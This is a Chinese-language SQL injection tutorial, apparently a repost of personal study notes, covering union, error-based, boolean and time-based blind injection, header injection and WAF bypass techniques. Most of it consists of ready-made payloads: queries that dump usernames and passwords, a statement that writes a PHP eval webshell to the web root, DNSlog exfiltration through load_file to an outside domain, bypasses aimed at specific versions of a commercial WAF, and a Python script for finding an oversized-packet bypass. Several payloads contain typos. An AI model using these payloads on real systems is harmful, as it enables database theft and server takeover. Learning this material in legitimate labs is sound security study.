当前位置: 首页 > ds >正文

SQL注入

查询语句

SELECT 列名 from 表名;

SELECT * from 表名;*表示将表的数据全部输出

SELECT * from 表名 WHERE id=6(数字型)

SELECT * from 表名 WHERE id='6'(字符型)

union查询,使用union将两个查询语句连接起来(前后必须列数一致)

注入流程

1、判断注入点

2、判断是字符型还是数字型

做减法,id=2-1,数字型会计算(页面改变),字符型不会运算(页面不变);

3、判断闭合方式

可能的方式:

单引号,双引号,单引号+右括号,单引号+两个右括号

在其后加and 1=1或者and 1=2来判断闭合是否成功。

根据报错,看闭合方式,进行判断。

使用--+将后面的代码注释掉,从而不报错。

4、判断前面查询列数

根据前面的列数,保证自己后面构造的语句可以执行。

5、查询回显位

写一样列数的数字。

web网站只会把第一行的数据显示在网页上。将前面的指令转为负数即可。

6、查询库名

7、查询表名

8、查询列名

9、查询数据

函数

database();

查询库名。

group by 4

查询列数。

group_concat()

将多行变成一行,小括号里加想要多行变一行的列名即可。

UNION注入

在information_schema数据库中会有tables和

查询表名

select table_name from information_schema.tables<数据库.表名> where table_schema<存数据库名的列>=database()

这样的语句只能查出一个表名。

使用group_concat()函数。

select group_concat(table_name) from information_schema.tables<数据库.表名> where table_schema<存数据库名的列>=database()

查询列名

select group_concat(column_name)from information_schema.columns<数据库.表名> where table_schema<存数据库名的列>='security' and table_name='user'

报错注入

没有回显位,有报错信息时使用

判断类型

直接尝试闭合来判断。

判断列数

正常使用。

查询库名

将database写错即可。

报错注入可以使用的函数

最常用的三个:

floor报错注入(最难)

floor报错注入完整语句:

?id=0' union select 1,count(*),concat_ws('-',(select concat('~',id,username,';',password) from userlimit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a--+

rand()函数:生成0~1的随机数。rand()*2:生成0~2的随机数。select rand() from users:users表无作用,只是表里面有几列,生成几个随机数。

floor(1.6666)函数:将小数点后的部分舍弃,取整。

select floor(rand()*2) from users:结果只为0或1。

concat_ws(1,2,3)函数:用1将2和3连接起来(1,2,3表示三个参数)

select concat_ws('-',database(),floor(rand()*2)) from users

起别名:as 别名。group by XXX;对XXX分组。

select concat_ws('-',database(),floor(rand()*2)) as benben from users group by benben

count()函数:统计数量。

select count(*),concat_ws('-',database(),floor(rand()*2)) as benben from users group by benben
执行可能报错,#1062 - Duplicate entry 'boke-1' for key '<group_key>'这是正常的报错信息。

要让其始终报错,在rand中加入0即可。之后通过修改concat_ws的第二个参数即可通过报错获取信息。

select count(*),concat_ws('-',database(),floor(rand(0)*2)) as a from information_schema.tables group by a

extractValue()报错注入

包含两个参数,第一个参数:XML文档对象名称。第二个参数:路径。

例如:

select extractvalue(doc,'/book/title') from xml; 
selsect extractvalue(doc,concat('~',database())) from xml;
先执行database()函数,然后进行查询,报错会返回数据库名。

注入语句:

?id=100' and 1=extractvalue(1,concat(0x7e,(select database()))) --+

0x7e即波浪号。

?id=2' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

具有局限性,一次只能回显32位。

解决办法:使用substring()函数:三个参数。第一个是查询的参数,第二个是从第几个开始,第三个是显示几位。

?id=2' union select 1,2,extractvalue(1,concat(0x7e,(select substring(group_concat(table_name),1,31) from information_schema.tables where table_schema='security')))--+
通过修改开始的地方多次输出再拼接即可。

updateXml报错注入

updatexml()函数是对数据进行修改,三个参数,第一个是xml文档对象的名称,例如doc,第二个是路径,第三个是替换的数据。

报错原理:输入错误的第二个参数,即更改路径的符号

和extractvalue基本相同,修改第二个参数的内容即可。

盲注

类别:布尔盲注,时间盲注,报错盲注。

页面没有回显时进行盲注。

布尔盲注

web页面只返回真假两种类型,利用页面返回的不同,逐个猜解数据。

判断真假值:(单引号闭合情况下)

?id=1' and 1=1 --+      #真页面
?id=1' and 1=2 --+      #假页面

ascii()函数:ASCII编码。将查到的字符转化为数字进行判断。

?id=1 and ascii(select database)=2 --+

ascii只能转化一个字符,使用substr()函数控制每次输出一个字符。

?id=1 and ascii(substr((select database()),1,1))=2 --+    #查第一个字符
?id=1 and ascii(substr((select database()),2,1))=2 --+    #查第二个字符

时间注入

页面只返回一个正常页面,利用页面响应时间不同,逐个猜解。

sleep()函数:参数为休眠时长,以秒为单位,可以为小数。

if(1,2,3)函数:三个参数,第一个参数是判断条件,第二个参数是条件为真时的执行,第三个是条件为假时的执行。

判断能否时间注入:查看页面响应时间,看是否执行指令。

?id=1' and sleep(3) --+

注入语句:

?id=1 and if(ascii(substr(database(),1,1))=115,sleep(0),sleep(3)) --+

SQL注入文件上传

目的:传自己想传的文件或者一句话木马。

使用下面命令来查看是否有读写文件权限。

show variables like '%secure%'

into outfile命令使用环境:服务器上可以写入文件夹的完整路径。

开始和初始流程相同,判断闭合,判断类型。

例如:

?id=1')) union select 1,"<?php @eval($_POST['password']);?>",3 into outfile "D:\\phpstudy_pro\\WWW\ben.php"--+

D那个路径是在WWW下新加一个ben.php文件。

DNSlog注入

算是一个盲注,不过效率会更高。需要有文件读写权限,和文件上传基本绑定,要么都行,要么都不行

手动注入

函数:load_file()

select load_file("C:\\benben.txt");

UNC路径

select load_file("//(select database())ctfstu.com/123/benben.txt");

会先执行select database()。查出数据库就会变成:

select load_file("//(securityctfstu.com/123/benben.txt");

不用管能不能访问到文件,只需的到前面数据库的信息即可。

需要用的网站:

http://ceye.io          进不去
http://www.dnsiog.cn/   进不去
https://eyes.sh/dns/    科学上网

注入:

?id=1' and (select load_file(//(select database()).域名))--+
?id=1' and (select load_file(concat("//",(select database()),".DNS路径/随意文件名")))--+

结果:点击refresh record即可得到数据。

?id=1' and (select load_file(concat("//",(select table_name from information_schema.tables where table_schema=database() limit(0,1)),".DNS路径/随意文件名")))--+

limit函数用于控制输出,0,1表示从第一个开始,显示一个。

自动注入

github下载ADOOO/Dnslogsqlinj

注入指令:

python3 dnslogsql.py -u "http://ip/路径/index.php?id=1' and ({注入的语句放这里}) --+" --dbs           解析库名
python3 dnslogsql.py -u "http://ip/路径/index.php?id=1' and ({注入的语句放这里}) --+" -D '数据库名' --tables          解析表名
python3 dnslogsql.py -u "http://ip/路径/index.php?id=1' and ({注入的语句放这里}) --+" -D '数据库名' -T '表名' --columns         解析列名
python3 dnslogsql.py -u "http://ip/路径/index.php?id=1' and ({注入的语句放这里}) --+" -D '数据库名' -T '表名' -C '列名' --dump        解析数据

POST注入

GET提交的万能密码:id=' or ''='

万能密码

账号:admin‘ or 1=1 #

密码随机输入即可。

除了提交方式不同,union注入,报错注入,盲注和GET相同。

HTTP头uagent注入

万能密码无法绕过验证,用户名无法注入。含有User-Angent。

使用BP抓包,修改User-Agent。一般为报错注入。

User-Agent:1' or updataxml(1,concat(~,(select database())),3),2,3) #

后面修改concat的第二个参数即可。

User-Agent:' or updataxml(1,concat(~,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3),2,3) #
User-Agent:' or updataxml(1,concat(~,(select group_concat(colimn_name) from information_schema.columns where table_schema=database() and table_name='users')),3),2,3) #
User-Agent:' or updataxml(1,concat(~,(select concat(username,';',password) from users limit 0,1)),3),2,3) #

HTTP头Referer注入

在Referer进行注入。

Referer:' or extractvalue(1,concat('#',(select database())),2) #
Referer:' or extractvalue(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema=database()),2) #
Referer:' or extractvalue(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),2) #
Referer:' or extractvalue(1,concat('#',(select concat(username,';',password) from users limit 0,1)),2) #

HTTP头cookie注入

Cookie:uname=admin' order by 3#

后续和union注入流程相同

常见过滤及绕过手法

注释符号过滤

无法得知有什么过滤,需要类似搭积木一样一点一点增加复杂度。

--,#,%23都被过滤。绕过方法:

手动多加一个单引号,把后面的源代码用单引号闭合起来,从而不用注释:

?id=1' and 1=1'
?id=1' and '1'='1
?id=1' union select 1,2,3 and 1=1'

如果是数字型不需要考虑闭合。

判断字符型还是数字型:

?id=1 and 1=1   #正常页面
?id=1 and 1=2   #报错,数字型
?id=-1 union select 1,2,3   #不需要注释符号即可注入

使用or或者and绕过

?id=1'order by 4 or '1'='1
?id=1'order by 4 and '1'='1
?id=-1' union select 1,(select database()),3 and '1'='1

and和or的过滤

  • 大小写过滤

?id=1' anD 1=1--+
  • 复写过滤的字符(双写绕过)

?id=1' anandd 1=1--+
  • 用&&取代and,用||代替or

空格过滤

  • 用加号代替空格

  • 用url编码:%20,%09,%0A(换行符),%0C,%0D,%0B,%A0等。

  • 使用报错注入:

?id=1000'||extractvalue(1,concat('$',(database())))||'1'='1
select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())
多用括号已达到不用空格的效果

limit替换函数

mid()和substr()用法相同:

?id=1'||extractvalue(1,concat('$',(select(mid(group_concat(username,';',password),1,30))from(users))))||'1'='1

显示前30个字符

逗号过滤join绕过

?id=-1 union select 1,2,3 --+
替换为,在相对应回显的地方修改自己为自己想查的东西
?id=-1 union select * from (select 1)a JOIN (select 2)b JOIN (select 3)c --+

JOIN的作用是将表内联起来。

union和select过滤

  • 在单词之间插入注释符号

un/**/ion

  • 大小写

  • 双写绕过

宽字节绕过

addslashes()函数,输入闭合符‘时,在’前加\变为没有功能性的字符,导致无法闭合。

当前数据库必须为GBKB编码,否则不能使用。

输入%df,\的URL编码是%5c,组成%df%5c,根据GBKB编码变成了一个汉字,是的\失去作用。

?id=1%df' --+

WAF绕过

测试WAF试要一点一点的写注入语句,不要一次性写完,从而更好的判断如何被过滤的。

WAF绕过常用方法

  • 注释

1、使用/*语句*/,其中的语句不会被执行。
2、使用/*!语句*/,虽然被注释,但是其中的语句仍然会被执行。
3、加版本号,/*!50000语句*/,50000代表5.00.00版本,代表5.00.00版本以上的会执行语句,以下的不会执行
  • 空白符

  • 特殊符号

  • 编码

  • 替换

安全狗4.0.26550绕过思路

判断类型用减法或者使用异或

判断列数用group by。

绕过union select

使用union /*!90000benben*/ select

此版本绕过

?id=1' union /*!90000b*/ select 1,2,group_concat(table_name) /*!90000b*/ from information_schema.tables where table_schema=database(/*!90000b*/)--+

安全狗3.5.12048绕过

绕过union select

?id=-1' union --+b%0A select 1,2,3 --+

相当于:

?id=-1' union --+b
select 1,2,3 --+

information_schema被过滤

替换为其他两张具有相同功能的表,如图。

information_schema替换为
sys.schema_table_statistics_with_buffer
sys.x$ps_schema_table_statistics_io

绕过join无列名报错注入

join报错注入拿列名语句:

?id=1' union --+b%0A select * from (select * from users as a join users as b using(id,username,password))c --+
相当于查询两次,就会有相同的列,报错会显示相同的列,将报错出来的列放进using,就会跳过此列,报错出下一个列。从而获取到列名。

获取数据:

?id=?id=-1' union --+b%0A select 1,2,group_concat(username,password) --+b%0A from users --+

超大数据包绕过

只能在POST提交里面用。

使用Python脚本做测试:

import requests
​
url = '放入URL'
​
data = "id=-1' /**/ union select 1,2,3 --+"
​
headers = {
​'Host':'','User-Agent': '','Accept':'','Accept-Language':'','Accept-Encoding':'','DNT':'','Connection':'','Cookie':'','Upgrade-Insecure-Requests':'','Content-Type':'','Content-Length':'',
​
}
​
for i in range(1,1000):m = '/*' + str('benben') * i + '*/'#print(m)data = "id=1" + m + "union select 1,2,database() --+"res = requests.post(url,headers=headers,data=data).textif 'qt-block-indent:0; text-indent' not in res:#单引号中的数据是触发安全狗后响应包内的特有的数据print('[+] current userful payload length:',i)breakelse:print ('{} not userful'.format(i))

最终使用超大数据包去绕过。即安全狗不会在检测此数据。

分块传输绕过WAF(安全狗4.0.23137)

POST提交绕过WAF的一种方式。

Transfer-Encoding:Chunked写在请求头的头部

将字段拆开:
1        字符长度
i       字符
2       字符长度
d=      字符
1       字符长度
2       字符
0       输入结束,下面必须留两个空格。
​
​

通过这样的方法打乱所有的敏感单词,从而绕过WAF。

http://www.xdnf.cn/news/3129.html

相关文章:

  • Leetcode 3533. Concatenated Divisibility
  • 【C到Java的深度跃迁:从指针到对象,从过程到生态】第四模块·Java特性专精 —— 第十七章 IO流:超越FILE*的维度战争
  • SpringBoot之SpringAl实现AI应用-快速搭建
  • LeetCode -160.相交链表
  • “假读“操作在I2C接收流程中的原因
  • DECAP CELL
  • Qt入门——什么是Qt?
  • 【Linux】第十三章 访问Linux文件系统
  • React:封装一个编辑文章的组件
  • python如何流模式输出
  • Missashe考研日记-day30
  • JR6001语音模块详解(STM32)
  • 1.3 点云数据获取方式——ToF相机
  • Linux电源管理(3)_关机和重启的过程
  • 【今日三题】小红的ABC(找规律) / 不相邻取数(多状态dp) / 空调遥控(排序+二分/滑动窗口)
  • 面向人工智能、量子科技、人形机器人等产业,山东启动制造业创新中心培育认定
  • Android Studio 中实现方法和参数显示一行
  • Git 多账号切换及全局用户名设置不生效问,GIT进行上传无权限问题
  • 科研入门规划
  • computed计算值为什么还可以依赖另外一个computed计算值?
  • linux下ACL权限和掩码权限
  • Springboot2.X 读取多层嵌套的配置结构
  • 【东枫电子】AI-RAN:人工智能 - 无线接入网络
  • react-新建项目复用node_modules
  • 从摄像头到 RAW 数据:MJPEG 捕获与验证
  • 大屏软件设计的交互设计底层逻辑
  • TCP概念+模拟tcp服务器及客户端
  • React Navigation 使用指南
  • mongoose的介绍,连接数据库
  • linux安装ragflow